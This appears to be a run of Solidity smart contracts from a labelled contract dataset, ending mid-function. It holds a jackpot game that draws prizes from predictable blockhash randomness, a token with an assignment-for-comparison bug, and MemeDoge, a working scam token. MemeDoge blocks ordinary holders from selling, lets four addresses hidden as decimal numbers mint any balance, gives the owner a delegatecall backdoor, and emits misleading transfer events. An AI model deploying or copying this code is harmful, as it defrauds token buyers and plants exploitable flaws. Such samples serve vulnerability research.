function _issueKeys(GameRound storage rnd, address _safeBreaker, uint value) internal returns(uint) {
if(rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints == 0) {
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
uint newKeys = wdiv(value, rnd.price);
if(value >= 100 ether) {
newKeys = newKeys.mul(2);
} else if(value >= 10 ether) {
newKeys = newKeys.add(newKeys/2);
} else if(value >= 1 ether) {
newKeys = newKeys.add(newKeys/3);
} else if(value >= 100 finney) {
newKeys = newKeys.add(newKeys/10);
}
rnd.safeBreakers[_safeBreaker].keys = rnd.safeBreakers[_safeBreaker].keys.add(newKeys);
rnd.totalKeys = rnd.totalKeys.add(newKeys);
emit KeysIssued(_safeBreaker, newKeys, now);
return newKeys;
}
function _updateReturns(address _safeBreaker, GameRound storage rnd) internal {
if(rnd.safeBreakers[_safeBreaker].keys == 0) {
return;
}
uint outstanding = _outstandingReturns(_safeBreaker, rnd);
if (outstanding > 0) {
vaults[_safeBreaker].totalReturns = vaults[_safeBreaker].totalReturns.add(outstanding);
}
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
}
function _outstandingReturns(address _safeBreaker, GameRound storage rnd) internal view returns(uint) {
if(rnd.safeBreakers[_safeBreaker].keys == 0) {
return 0;
}
uint newReturns = rnd.cumulativeReturnsPoints.sub(
rnd.safeBreakers[_safeBreaker].lastCumulativeReturnsPoints
);
uint outstanding = 0;
if(newReturns != 0) {
outstanding = newReturns.mul(rnd.safeBreakers[_safeBreaker].keys) / MULTIPLIER;
}
return outstanding;
}
function _splitRevenue(GameRound storage rnd, uint value, address ref) internal {
uint roundReturns;
if(ref != address(0x0)) {
if(
(!m_referrals[msg.sender] && limitedReferralsMode == true)
||
limitedReferralsMode == false
) {
uint _referralEarning = m_refPercent.mul(value);
unclaimedReturns = unclaimedReturns.add(_referralEarning);
vaults[ref].totalReturns = vaults[ref].totalReturns.add(_referralEarning);
vaults[ref].refReturns = vaults[ref].refReturns.add(_referralEarning);
value = value.sub(_referralEarning);
m_referrals[msg.sender] = true;
}
} else {
}
roundReturns = m_investorsPercent.mul(value);
uint airdrop_value = m_airdropPercent.mul(value);
uint jackpot_value = m_currentRoundJackpotPercent.mul(value);
uint dev_value = m_devPercent.mul(value);
uint bankOfEth_profit = m_bankOfEthProfitPercent.mul(value);
localBankOfEth.receiveExternalProfits.value(bankOfEth_profit)();
if(rnd.totalKeys == 0) {
rnd.jackpot = rnd.jackpot.add(roundReturns);
} else {
_disburseReturns(rnd, roundReturns);
}
rnd.airdropPot = rnd.airdropPot.add(airdrop_value);
rnd.jackpot = rnd.jackpot.add(jackpot_value);
devAddress.transfer(dev_value);
}
function _disburseReturns(GameRound storage rnd, uint value) internal {
emit EthDistributed(value, now);
unclaimedReturns = unclaimedReturns.add(value);
if(rnd.totalKeys == 0) {
rnd.cumulativeReturnsPoints = value.mul(MULTIPLIER) / wdiv(value, rnd.price);
} else {
rnd.cumulativeReturnsPoints = rnd.cumulativeReturnsPoints.add(
value.mul(MULTIPLIER) / rnd.totalKeys
);
}
}
function _airDrop(GameRound storage rnd, uint value) internal {
require(msg.sender == tx.origin, "Only Humans Allowed! (or scripts that don't use smart contracts)!");
if(value > 100 finney) {
uint chance = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), now)));
if(chance % 200 == 0) {
uint prize = rnd.airdropPot / 2;
rnd.airdropPot = rnd.airdropPot / 2;
vaults[msg.sender].totalReturns = vaults[msg.sender].totalReturns.add(prize);
unclaimedReturns = unclaimedReturns.add(prize);
totalJackpotsWon += prize;
emit AirdropWon(msg.sender, prize, now);
}
}
}
function _finalizeRound(GameRound storage rnd) internal {
require(!rnd.finalized, "Already finalized!");
require(rnd.softDeadline < now, "Round still running!");
vaults[rnd.lastInvestor].totalReturns = vaults[rnd.lastInvestor].totalReturns.add(rnd.jackpot);
unclaimedReturns = unclaimedReturns.add(rnd.jackpot);
emit JackpotWon(rnd.lastInvestor, rnd.jackpot, now);
totalJackpotsWon += rnd.jackpot;
jackpotSeed = jackpotSeed.add( m_nextRoundSeedPercent.mul(rnd.totalInvested));
jackpotSeed = jackpotSeed.add(rnd.airdropPot);
totalKeysSold += rnd.totalKeys;
totalEarningsGenerated += m_currentRoundJackpotPercent.mul(rnd.totalInvested);
rnd.finalized = true;
}
function p_setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function p_setDevAddress(address _devAddress) public onlyOwner {
devAddress = _devAddress;
}
function p_setCurrentRoundJackpotPercent(uint num, uint dem) public onlyOwner {
m_currentRoundJackpotPercent = Percent.percent(num, dem);
}
function p_setInvestorsPercent(uint num, uint dem) public onlyOwner {
m_investorsPercent = Percent.percent(num, dem);
}
function p_setDevPercent(uint num, uint dem) public onlyOwner {
m_devPercent = Percent.percent(num, dem);
}
function p_setNextRoundSeedPercent(uint num, uint dem) public onlyOwner {
m_nextRoundSeedPercent = Percent.percent(num, dem);
}
function p_setAirdropPercent(uint num, uint dem) public onlyOwner {
m_airdropPercent = Percent.percent(num, dem);
}
function p_setBankOfEthProfitPercent(uint num, uint dem) public onlyOwner {
m_bankOfEthProfitPercent = Percent.percent(num, dem);
}
function p_setMinInvestment(uint _minInvestment) public onlyOwner {
minInvestment = _minInvestment;
}
function p_setMaxInvestment(uint _maxInvestment) public onlyOwner {
maxInvestment = _maxInvestment;
}
function p_setGamePaused(bool _gamePaused) public onlyOwner {
gamePaused = _gamePaused;
}
function p_setRoundDuration(uint256 _roundDuration) public onlyOwner {
roundDuration = _roundDuration;
}
function p_setBankOfEthAddress(address _bankOfEthAddress) public onlyOwner {
bankOfEthAddress = _bankOfEthAddress;
localBankOfEth = BankOfEth(bankOfEthAddress);
}
function p_setLimitedReferralsMode(bool _limitedReferralsMode) public onlyOwner {
limitedReferralsMode = _limitedReferralsMode;
}
function p_setSoft_deadline_duration(uint _soft_deadline_duration) public onlyOwner {
soft_deadline_duration = _soft_deadline_duration;
}
function notZeroAndNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = x.mul(y).add(WAD/2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = x.mul(y).add(RAY/2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = x.mul(WAD).add(y/2)/y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = x.mul(RAY).add(y/2)/y;
}
uint op;
function gameOp() public {
op++;
}
} | 1 | 3,562 |
pragma solidity ^0.4.21;
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract Target {
function transfer(address _to, uint _value);
}
contract MNY {
string public name = "MNY by Monkey Capital";
uint8 public decimals = 18;
string public symbol = "MNY";
address public owner;
address public exchangeAdmin;
mapping(uint256 => address) public exchangePartners;
mapping(address => uint256) public exchangeRates;
uint tierLevel = 1;
uint maxTier = 30;
uint256 totalSupply = 1.698846726062230000E25;
uint256 public mineableTokens = totalSupply;
uint256 public swappedTokens = 0;
uint256 circulatingSupply = 0;
uint contractCount = 0;
bool swap = false;
bool distributionCalculated = false;
bool public initialTiers = false;
bool addTiers = true;
mapping (address => uint256) public balances;
mapping (address => uint256) public tokenBalances;
mapping (address => uint256) public tokenShare;
mapping (address => mapping (address => uint256)) allowed;
mapping(uint => uint256) public scheduleTokens;
mapping(uint => uint256) public scheduleRates;
uint256 swapEndTime;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event TokensExchanged(address indexed _sendingWallet, address indexed _sendingContract, uint256 _tokensIn);
function MNY() {
owner = msg.sender;
}
function populateTierTokens() public {
require((msg.sender == owner) && (initialTiers == false));
scheduleTokens[1] = 5.33696E18;
scheduleTokens[2] = 7.69493333E18;
scheduleTokens[3] = 4.75684324E18;
scheduleTokens[4] = 6.30846753E18;
scheduleTokens[5] = 6.21620513E18;
scheduleTokens[6] = 5.63157219E18;
scheduleTokens[7] = 5.80023669E18;
scheduleTokens[8] = 5.04458667E18;
scheduleTokens[9] = 4.58042767E18;
scheduleTokens[10] = 5E18;
scheduleTokens[11] = 5.59421053E18;
scheduleTokens[12] = 7.05050888E18;
scheduleTokens[13] = 1.93149011E19;
scheduleTokens[14] = 5.71055924E18;
scheduleTokens[15] = 1.087367665E19;
scheduleTokens[16] = 5.4685283E18;
scheduleTokens[17] = 7.58236145E18;
scheduleTokens[18] = 5.80773184E18;
scheduleTokens[19] = 4.74868639E18;
scheduleTokens[20] = 6.74810256E18;
scheduleTokens[21] = 5.52847682E18;
scheduleTokens[22] = 4.96611055E18;
scheduleTokens[23] = 5.45818182E18;
scheduleTokens[24] = 8.0597095E18;
scheduleTokens[25] = 1.459911381E19;
scheduleTokens[26] = 8.32598844E18;
scheduleTokens[27] = 4.555277509E19;
scheduleTokens[28] = 1.395674359E19;
scheduleTokens[29] = 9.78908515E18;
scheduleTokens[30] = 1.169045087E19;
}
function populateTierRates() public {
require((msg.sender == owner) && (initialTiers == false));
scheduleRates[1] = 9E18;
scheduleRates[2] = 9E18;
scheduleRates[3] = 8E18;
scheduleRates[4] = 7E18;
scheduleRates[5] = 8E18;
scheduleRates[6] = 5E18;
scheduleRates[7] = 6E18;
scheduleRates[8] = 5E18;
scheduleRates[9] = 5E18;
scheduleRates[10] = 6E18;
scheduleRates[11] = 6E18;
scheduleRates[12] = 6E18;
scheduleRates[13] = 7E18;
scheduleRates[14] = 6E18;
scheduleRates[15] = 7E18;
scheduleRates[16] = 6E18;
scheduleRates[17] = 6E18;
scheduleRates[18] = 6E18;
scheduleRates[19] = 6E18;
scheduleRates[20] = 6E18;
scheduleRates[21] = 6E18;
scheduleRates[22] = 6E18;
scheduleRates[23] = 6E18;
scheduleRates[24] = 7E18;
scheduleRates[25] = 7E18;
scheduleRates[26] = 7E18;
scheduleRates[27] = 7E18;
scheduleRates[28] = 6E18;
scheduleRates[29] = 7E18;
scheduleRates[30] = 7E18;
initialTiers = true;
}
function transfer(address _to, uint256 _value, bytes _data) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
if(swap == false) {
mineableTokens = add(mineableTokens, _value);
circulatingSupply = sub(circulatingSupply, _value);
if(circulatingSupply == 0) {
swap = true;
swapEndTime = now + 90 days;
}
scheduleTokens[maxTier] = add(scheduleTokens[maxTier], _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
if(distributionCalculated = false) {
calculateHeldTokenDistribution();
}
swappedTokens = add(swappedTokens, _value);
balances[msg.sender] = sub(balances[msg.sender], _value);
shareStoredTokens(msg.sender, _value);
}
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function allocateTokens(uint256 _submitted, uint256 _tokenCount, address _recipient) internal {
uint256 _tokensAfforded = 0;
if(tierLevel <= maxTier) {
_tokensAfforded = div(_submitted, scheduleRates[tierLevel]);
}
if(_tokensAfforded >= scheduleTokens[tierLevel]) {
_submitted = sub(_submitted, mul(scheduleTokens[tierLevel], scheduleRates[tierLevel]));
_tokenCount = add(_tokenCount, scheduleTokens[tierLevel]);
circulatingSupply = add(circulatingSupply, _tokensAfforded);
mineableTokens = sub(mineableTokens, _tokensAfforded);
scheduleTokens[tierLevel] = 0;
tierLevel++;
allocateTokens(_submitted, _tokenCount, _recipient);
}
else if((scheduleTokens[tierLevel] >= _tokensAfforded) && (_tokensAfforded > 0)) {
scheduleTokens[tierLevel] = sub(scheduleTokens[tierLevel], _tokensAfforded);
_tokenCount = add(_tokenCount, _tokensAfforded);
circulatingSupply = add(circulatingSupply, _tokensAfforded);
mineableTokens = sub(mineableTokens, _tokensAfforded);
_submitted = sub(_submitted, mul(_tokensAfforded, scheduleRates[tierLevel]));
allocateTokens(_submitted, _tokenCount, _recipient);
}
else {
balances[_recipient] = add(balances[_recipient], _tokenCount);
Transfer(this, _recipient, _tokenCount);
}
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _sentTokens) {
require(exchangeRates[msg.sender] > 0);
allocateTokens(mul(_sentTokens, exchangeRates[_source]), 0, _recipient);
TokensExchanged(_recipient, _source, _sentTokens);
maintainExternalContractTokenBalance(_source, _sentTokens);
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) public {
require(msg.sender == owner);
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
bool isContract = existingContract(_partner);
if(isContract == false) {
contractCount++;
exchangePartners[contractCount] = _partner;
}
}
function addTierRateAndTokens(uint256 _level, uint256 _tokens, uint256 _rate) public {
require(((msg.sender == owner) || (msg.sender == exchangeAdmin)) && (addTiers == true));
scheduleTokens[_level] = _tokens;
scheduleRates[_level] = _rate;
maxTier++;
if(maxTier > 2856) {
totalSupply = add(totalSupply, _tokens);
}
}
function closeTierAddition() public {
require(msg.sender == owner);
addTiers = false;
}
function getTotalSupply() public constant returns (uint256) {
return totalSupply;
}
function getMineableTokens() public constant returns (uint256) {
return mineableTokens;
}
function getCirculatingSupply() public constant returns (uint256) {
return circulatingSupply;
}
function balanceOf(address _receiver) public constant returns (uint256) {
return balances[_receiver];
}
function balanceInTier() public constant returns (uint256) {
return scheduleTokens[tierLevel];
}
function balanceInSpecificTier(uint256 _tier) public constant returns (uint256) {
return scheduleTokens[_tier];
}
function rateInSpecificTier(uint256 _tier) public constant returns (uint256) {
return scheduleRates[_tier];
}
function currentTier() public constant returns (uint256) {
return tierLevel;
}
function convertTransferredTokensToMny(uint256 _value, address _recipient, address _source, uint256 _originalTokenAmount) public {
require((msg.sender == owner) || (msg.sender == exchangeAdmin));
require(exchangeRates[_source] > 0);
allocateTokens(_value, 0, _recipient);
maintainExternalContractTokenBalance(_source, _originalTokenAmount);
TokensExchanged(_recipient, _source, _originalTokenAmount);
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function changeExchangeAdmin(address _newAdmin) public {
require(msg.sender == owner);
exchangeAdmin = _newAdmin;
}
function maintainExternalContractTokenBalance(address _contract, uint256 _tokens) internal {
tokenBalances[_contract] = add(tokenBalances[_contract], _tokens);
}
function getTokenBalance(address _contract) public constant returns (uint256) {
return tokenBalances[_contract];
}
function calculateHeldTokenDistribution() public {
require(swap == true);
for(uint256 i=0; i<contractCount; i++) {
tokenShare[exchangePartners[i]] = div(tokenBalances[exchangePartners[i]], totalSupply);
}
distributionCalculated = true;
}
function tokenShare(address _contract) public constant returns (uint256) {
return tokenShare[_contract];
}
function shareStoredTokens(address _recipient, uint256 mny) internal {
Target t;
uint256 share = 0;
for(uint i=0; i<contractCount; i++) {
share = mul(mny, tokenShare[exchangePartners[i]]);
t = Target(exchangePartners[i]);
t.transfer(_recipient, share);
tokenBalances[exchangePartners[i]] = sub(tokenBalances[exchangePartners[i]], share);
}
}
function distributeMnyAfterSwap(address _recipient, uint256 _tokens) public {
require(msg.sender == owner);
require(swappedTokens <= _tokens);
balances[_recipient] = add(balances[_recipient], _tokens);
Transfer(this, _recipient, _tokens);
swappedTokens = sub(totalSupply, _tokens);
circulatingSupply = add(circulatingSupply, _tokens);
}
function distributeOwnedTokensFromOtherContracts(address _contract, address _recipient, uint256 _tokens) {
require(now >= swapEndTime);
require(msg.sender == owner);
require(tokenBalances[_contract] >= _tokens);
Target t = Target(_contract);
t.transfer(_recipient, _tokens);
tokenBalances[_contract] = sub(tokenBalances[_contract], _tokens);
}
function existingContract(address _contract) internal returns (bool) {
for(uint i=0; i<=contractCount; i++) {
if(exchangePartners[i] == _contract) return true;
}
return false;
}
function contractExchangeRate(address _contract) public constant returns (uint256) {
return exchangeRates[_contract];
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function transferFrom(address _from, address _to, uint256 _tokens) public returns (bool success) {
require(balances[_from] >= _tokens);
balances[_from] = sub(balances[_from],_tokens);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender],_tokens);
balances[_to] = add(balances[_to],_tokens);
Transfer(_from, _to, _tokens);
return true;
}
function approve(address _spender, uint256 _tokens) public returns (bool success) {
allowed[msg.sender][_spender] = _tokens;
Approval(msg.sender, _spender, _tokens);
return true;
}
function allowance(address _tokenOwner, address _spender) public constant returns (uint256 remaining) {
return allowed[_tokenOwner][_spender];
}
} | 1 | 2,194 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MemeDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,000 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
